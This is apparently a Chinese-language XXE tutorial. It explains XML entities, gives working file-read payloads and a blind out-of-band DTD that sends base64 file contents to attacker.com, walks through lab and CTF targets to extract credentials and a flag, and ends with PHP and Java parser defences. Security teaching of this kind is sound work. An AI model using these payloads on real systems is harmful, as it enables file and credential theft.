在 Web 安全领域,XML 外部实体注入(XXE)作为经典的注入类漏洞,曾长期位列 OWASP Top 10 高危漏洞榜单。尽管近年来 JSON 逐渐成为主流的数据传输格式,但大量遗留系统、企业级应用仍在广泛使用 XML 进行配置解析、数据交互,这也让 XXE 漏洞至今依然是渗透测试、红队攻防中的高频突破口。
很多开发者对 XML 的实体机制一知半解,导致配置不当留下漏洞;而很多安全新手也常常对 XXE 的无回显利用、参数实体嵌套等难点一头雾水。本文将从 XML 基础讲起,一步步带你拆解 XXE 漏洞的本质,从入门级的文件读取,到无回显盲注的原理,再到完整的综合靶场实战,最终掌握漏洞的防御方案,带你彻底搞懂 XXE。
一、前置知识:搞懂 XML,才能搞懂 XXE
要理解 XXE 漏洞,我们首先要搞懂 XML 的基础概念,以及它和我们熟悉的 HTML 的区别。
1.1 XML 的核心概念
XML(可扩展标记语言),其设计初衷是传输和存储数据,而非展示数据。和我们日常接触的 HTML 有着本质的区别:
-
HTML 的核心是展示数据,焦点是数据的外观,标签是预定义的,用来描述页面的布局和内容的展示形式。
-
XML 的核心是传输和存储数据,标签是自定义的,用来描述数据的含义和结构,不关心数据该怎么展示。
举个最简单的例子,我们可以用 XML 描述一个用户信息:
<user>
<username>admin</username>
<password>123456</password>
</user>
这段 XML 只描述了数据本身,至于这些数据是要展示成表格、还是输入框,XML 并不关心。
1.2 开发中常见的 XML 配置
在 Java 等后端开发中,XML 曾经是配置文件的主流格式,我们日常开发中接触到的很多配置,本质上都是 XML 文件,而这些配置的解析过程,正是 XXE 漏洞的高发场景:
-
pom.xml:Maven 项目的核心配置文件,描述项目的依赖、构建配置等信息。 -
web.xml:Java Web 应用的部署描述符,用来配置 Servlet、过滤器、欢迎页等 web 容器的相关配置。 -
MyBatis 的 Mapper 配置文件:用来定义 SQL 映射、参数映射等持久层配置。
当应用接收用户传入的 XML 数据,直接交给解析器处理,而没有做任何安全限制的时候,XXE 漏洞就产生了。
二、XXE 漏洞:本质与危害
2.1 什么是 XXE?
XXE 的全称是XML External Entity Injection(XML 外部实体注入)。要理解它,我们首先要搞懂 XML 的实体(Entity)机制。
XML 的实体,你可以理解为 XML 中的 "变量",用来定义一段可复用的内容,分为内部实体和外部实体:
-
内部实体:定义在 XML 文档内部,内容是固定的字符串,比如:
<!ENTITY foo "Hello XXE">之后我们就可以用
&foo;来引用这个实体,解析的时候会自动替换成对应的字符串。 -
外部实体:实体的内容不是固定的字符串,而是指向一个外部资源,比如本地文件、远程 URL,比如:
<!ENTITY foo SYSTEM "file:///etc/passwd">当 XML 解析器解析这个实体的时候,就会去读取对应的外部资源的内容,替换到实体的位置。
而 XXE 漏洞,就是攻击者利用 XML 解析器默认支持外部实体的特性,构造恶意的外部实体,让解析器去读取服务器上的敏感文件、发起 SSRF 请求、甚至执行命令,从而实现攻击。
2.2 入门实战:有回显 XXE,读取服务器文件
最基础的 XXE 漏洞,是有回显的场景:也就是攻击者注入的外部实体的内容,会被服务器返回给攻击者,这种场景下,我们可以直接读取服务器的文件。
比如在 Pikachu 靶场的 XXE 模块中,应用接收用户输入的 XML 数据,解析后返回结果。我们就可以构造这样的 Payload:
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<foo>&xxe;</foo>
这段 Payload 的含义是:
-
定义一个文档类型 DOCTYPE,声明我们的实体。
-
定义一个外部实体
xxe,指向目标服务器的 hosts 文件。 -
在 XML 的内容中引用这个实体
&xxe;。
当服务器解析这段 XML 的时候,就会读取 hosts 文件的内容,替换&xxe;,然后把结果返回给我们,这样我们就直接拿到了服务器的 hosts 文件内容,实现了任意文件读取。
2.3 进阶难点:无回显 Blind XXE,带外攻击
比有回显更常见的,是无回显 XXE(Blind XXE):也就是服务器解析了我们的恶意 XML,但是不会把实体的内容返回给我们,这时候我们没办法直接拿到文件内容,这时候就需要用到 ** 带外(Out-of-Band, OOB)** 的攻击方式,把读取到的数据主动发送到我们控制的服务器上。
这也是很多新手最困惑的部分,为什么要嵌套实体?为什么要用到外部 DTD?%又是什么?我们一个个来拆解。
2.3.1 为什么不能直接在内部 DTD 里写嵌套参数实体?
首先,我们要先搞懂参数实体(Parameter Entity),参数实体是一种特殊的实体,用%开头,只能在 DTD 内部使用,用来在 DTD 里做复用。
在无回显的场景下,我们的逻辑是:
-
读取目标服务器的文件,用 base64 编码避免特殊字符的问题。
-
把读取到的文件内容,通过 HTTP 请求发送到我们的服务器上,这样我们就能拿到数据。
如果我们尝试直接在内部 DTD 里写这个逻辑,会是这样的:
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % send SYSTEM 'http://attacker.com/get.php?file=%file;'>
%send;
]>
但是这段代码会直接报错,无法执行!
这是因为 XML 的规范中明确规定:内部 DTD 子集里,不允许在标记声明中引用参数实体,只有外部 DTD 子集没有这个限制!
这就是为什么我们必须要把 DTD 的逻辑放到我们自己的服务器上,做成一个外部 DTD 文件,然后在目标的 XML 里引用这个外部 DTD,这样就能绕过这个限制了。
2.3.2 %是什么?为什么要转义 %?
那我们的外部 DTD 里的这段代码:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/get.php?file=%file;'>">
%all;
%send;
这里的%是什么?其实它是%的 XML 字符实体,%的 ASCII 码的十六进制是 25,所以%就代表%这个字符。
为什么我们要把%转义成这个?因为如果我们直接写%send的话,在解析外层的%all实体的时候,XML 解析器会提前把%send解析掉,导致语法错误。我们把它转义成字符实体之后,外层解析的时候,会把它当成普通的字符,不会提前解析,等到解析到内部的标记声明的时候,才会把它解析成%,也就是参数实体的引用,这样就能正常执行了。
2.3.3 完整的 Blind XXE 攻击流程
整个无回显 XXE 的攻击流程是这样的:
-
攻击者在自己的服务器上,准备两个文件:
-
evil.dtd:恶意的外部 DTD 文件,也就是我们上面的那段代码,用来定义读取文件、发送数据的逻辑。 -
get.php:接收数据的脚本,用来把目标发送过来的文件内容保存到本地。
-
-
攻击者给目标服务器发送恶意的 XML 请求,内容是:
<?xml version = "1.0"?> <!DOCTYPE ANY[ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> -
目标服务器解析这段 XML 的时候,会加载攻击者服务器上的外部 DTD 文件,然后执行 DTD 里的逻辑:
-
读取目标服务器上的敏感文件,用 base64 编码。
-
把编码后的内容,通过 HTTP 请求发送给攻击者的
get.php。
-
-
攻击者的
get.php接收到数据,保存到本地,攻击者就拿到了目标服务器的文件内容。
这就是 Blind XXE 的完整原理,通过带外的方式,把无回显的漏洞变成可利用的漏洞。
三、靶场实战 1:xxe-lab,从登录接口拿账号密码
讲完原理,我们来看第一个入门级的靶场:xxe-lab,这个靶场的登录接口接收 XML 格式的请求,存在 XXE 漏洞,我们来一步步利用它拿到管理员的账号密码。
3.1 拦截登录请求
首先,我们访问靶场的登录页面,输入任意的用户名密码,用 Burp Suite 拦截登录请求,我们会发现,请求的 Body 是 XML 格式的:
<user>
<username>test</username>
<password>test</password>
</user>
这说明后端会解析这段 XML,很可能存在 XXE 漏洞。
3.2 注入 XXE Payload,探测漏洞
我们修改请求的 Body,注入 XXE 的 Payload,尝试读取后端的登录接口源码doLogin.php,为了避免特殊字符的问题,我们用 php 的 filter 协议把文件内容转成 base64:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&file;</username>
<password>123123</password>
</user>
然后把修改后的请求发送出去,我们会发现,响应里返回了一大串 base64 字符串,这说明漏洞存在!
3.3 解码拿到账号密码
我们把拿到的 base64 字符串解码,就得到了doLogin.php的源码,从源码里我们就能直接拿到管理员的用户名和密码,然后用这个账号密码登录,就成功进入了后台。
这个就是最基础的 XXE 漏洞利用,非常简单,只要有回显,我们可以直接读取任意源码,拿到敏感信息。
四、综合实战:比赛级靶场,一步步拿到 Flag
接下来,我们来看一个更复杂的综合靶场,这也是很多 CTF 比赛里的常见题型,我们要从环境搭建开始,一步步渗透,最终拿到 Flag。
4.1 环境准备:安装靶机,探测目标
首先,我们导入靶机的 ovf 虚拟机,设置 NAT 网络模式,因为我们不知道靶机的 IP,所以我们先探测网段:
-
我们的物理机的 NAT 网卡的网段是
192.168.220.0/24,所以靶机的 IP 肯定在这个网段里。 -
用 Kali 的 nmap 扫描整个网段:
nmap 192.168.220.1/24 -
扫描结果显示,
192.168.220.136开放了 80 端口,这就是我们的靶机。
4.2 目录探测,找到 XXE 入口
我们访问靶机的 80 端口,然后进行目录扫描,发现了robots.txt,进而找到了xxe的登录页面,和之前的靶场一样,这个登录接口也是接收 XML 格式的请求。
4.3 第一步:读取 xxe.php,发现陷阱
首先,我们尝试读取当前的 xxe.php 的源码,看看后端的逻辑:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root>
<name>&file;</name>
<password>123213</password>
</root>
我们把拿到的 base64 解码之后,得到了 xxe.php 的源码:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!";
?>
哦,原来这是个陷阱!这个接口不管你输入什么用户名密码,都会提示错误,根本不是真正的登录接口!我们差点上当了。
4.4 第二步:读取 admin.php,拿到管理员账号
既然这个是假的,那我们就去读真正的登录接口admin.php的源码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root>
<name>&file;</name>
<password>123213</password>
</root>
解码之后,我们得到了 admin.php 的源码,从里面我们找到了:
-
用户名:
administhebest -
密码的 MD5 值:解密之后是
admin@123
我们尝试用这个账号密码登录 admin.php,但是发现还是没有权限访问?看来 Flag 不在这。
4.5 第三步:读取 flagmeout.php,找到 Flag 的线索
那我们继续读flagmeout.php的源码,看看里面有什么:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root>
<name>&file;</name>
<password>123213</password>
</root>
解码之后,我们得到了这段代码:
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
哦,这里有个加密的字符串:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5,这是什么?
我们先尝试 Base32 解码,因为这个字符串都是大写字母和数字,符合 Base32 的特征,解码之后得到:L2V0Yy8uZmxhZy5waHA=,哦,这个看起来是 Base64 的字符串!
我们再 Base64 解码,得到:/etc/.flag.php!原来真正的 Flag 文件在/etc目录下!
4.6 最终步:读取 /etc/.flag.php,拿到 Flag
现在我们知道了 Flag 的位置,构造 Payload 读取这个文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root>
<name>&file;</name>
<password>123213</password>
</root>
把拿到的 base64 解码之后,我们得到了一段混淆的 PHP 代码,把这段代码放到在线 PHP 运行工具里执行,最终我们就拿到了 Flag:
xxe_is_so_easy
完美,这就是我们的最终目标!
五、XXE 漏洞的防御:如何筑牢防线
讲完了攻击,我们再来看怎么防御 XXE 漏洞,其实防御的核心非常简单:禁用 XML 解析器的外部实体加载功能,因为 XXE 的本质就是利用了外部实体,只要我们禁用了它,漏洞就不存在了。
不同的语言,配置的方式不同:
5.1 PHP 的防御
PHP 里,我们只需要设置libxml_disable_entity_loader(true),禁用实体加载就可以了:
// XXE漏洞防御:禁用外部实体加载
libxml_disable_entity_loader(true);
修改之后,我们再尝试注入 XXE 的 Payload,就会发现攻击失效了,解析器不会再加载外部实体了。
5.2 Java 的防御
Java 里的 XML 解析器默认是开启外部实体的,我们需要手动配置工厂类的安全特性,禁用外部实体:
比如 DOM 解析器的安全配置:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DOCTYPE声明,彻底禁止外部实体解析
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部通用实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部参数实体
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAX 解析器的安全配置:
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
只要做好这个配置,就能彻底避免 XXE 漏洞。
5.3 其他防御方式
除了核心的禁用外部实体,我们还可以:
-
升级 XML 解析器的版本,新版本的解析器默认已经禁用了外部实体,比如 libxml2.9.0 之后,默认就禁用了外部实体加载。
-
避免使用 XML 格式的请求,改用 JSON 等更安全的格式。
-
过滤用户输入的 XML 内容,过滤 DOCTYPE、ENTITY 等关键词,不过这个是辅助手段,不如禁用外部实体可靠,很容易被绕过。
总结
XXE 漏洞作为一个经典的老漏洞,直到今天依然在大量的应用中存在,核心原因就是开发者对 XML 的实体机制不了解,没有正确配置解析器的安全选项。
从基础的 XML 知识,到有回显的文件读取,再到无回显的 Blind XXE,再到完整的 CTF 靶场实战,我们一步步拆解了 XXE 的所有核心知识点。只要我们搞懂了 XML 的实体机制,搞懂了参数实体的限制,就能轻松的利用和防御 XXE 漏洞。
最后,记住防御的核心:永远不要相信用户的输入,对于 XML 解析,一定要显式禁用外部实体加载,这才是杜绝 XXE 漏洞的根本方法。